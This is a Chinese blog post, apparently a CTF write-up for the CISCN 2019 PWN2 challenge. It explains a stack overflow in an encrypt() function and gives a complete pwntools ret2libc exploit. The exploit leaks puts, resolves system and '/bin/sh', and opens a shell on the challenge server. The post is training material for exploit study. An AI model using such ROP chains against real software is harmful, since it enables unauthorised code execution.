【PWN · ret2libc】[CISCN 2019东北]PWN2

虽然最近的ret2libc的做题基本一致(毕竟类型都是ret2libc嘛),但是对于本蒟蒻现阶段来说,还是有必要记录一下的


前言

持续巩固ret2libc的做题范式/基本套路能力,同时也发现,reverse与pwn密不可分的联系。


一、题目重述

encrypt()存在栈溢出漏洞,同时程序不存在system或者'/bin/sh'

典型的ret2libc 

二、解题过程

1.代码理解

程序要求必须选择encrypt否则死循环/“报错”。而encrypt中存在栈溢出漏洞。

encrypt中,对于输入的字符串,通过检测长度,来对每一个字符进行encrypt,建立映射关系。

思路一:构造合适的payload,使得我们用于攻击的部分代码,经过encrypt恰好变成有用的payload

——真的是这样吗,那我们的任务量将被大大增大

这是很直接的想法——对粗线条的我来说是这样的。

然而实际上我们关注的是放到栈中的内容, 尽可能不让程序修改这些构造好的payload——字符串的结束标识符是'\x0',那我们一开始就传入一个“空串",后面再跟上我们的payload,那么对于字符串加密的部分,就只会作用于空串——实际上不修改这串payload的任何部分。

为什么一开始我不选择这样做呢?因为我害怕send在'\x0'处截断——萌新的可爱之处。

不过如果我们关注溢出漏洞函数的细微差别——gets读取屏幕缓冲区的一行字符串,那么\x0及之后的内容也是可以被读入的。(是这样吧?)

思路二:开头用'\x00'来绕过对payload的encrypt,然后正常进行溢出操作

2.exp 

from pwn import *

context(arch="amd64",os="linux",log_level="debug")

elf=ELF("./pwn")

io=remote("node2.anna.nssctf.cn",28264)

io.sendlineafter('choice!',b'1')

puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
pop_rdi=0x400c83
encrypt_addr=0x4009a0
ret_addr=0x4006b9

payload=b'\x00'+b'a'*(0x50-0x1)+b'a'*8
payload+=p64(pop_rdi)+p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(encrypt_addr)

io.sendlineafter('encrypted',payload)

puts_real=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))

from LibcSearcher import *
libc=LibcSearcher('puts',puts_real)
libc_base=puts_real-libc.dump("puts")
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

#io.sendlineafter(b'choice!\n',b'1')
payload=b'\x00'+b'a'*0x57
payload+=p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)
payload+=p64(system_addr)

io.sendlineafter('encrypted',payload)

io.interactive()

3.注意点 

如果注意到第二个payload中的ret,会不会有疑问呢?

其实这是因为system被调用时,其中有一个汇编指令,要求栈顶16字节对齐,而我们为了能够正常执行跳转,又需要栈能够调整其高度,就可以通过ret+ret+...+addr的方式,这样首先是调整了输入的个数,其次ret到下一个ret,反复执行实则是“空转”,相当于pop了当前的栈元素,不起到任何其他作用。最后还是跳到了addr的位置。


总结

【PWN · ret2libc】[2021 鹤城杯]babyof_Mr_Fmnwon的博客-CSDN博客

这篇博客ret2libc的细节比较多,且这两个题目完全相似。 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值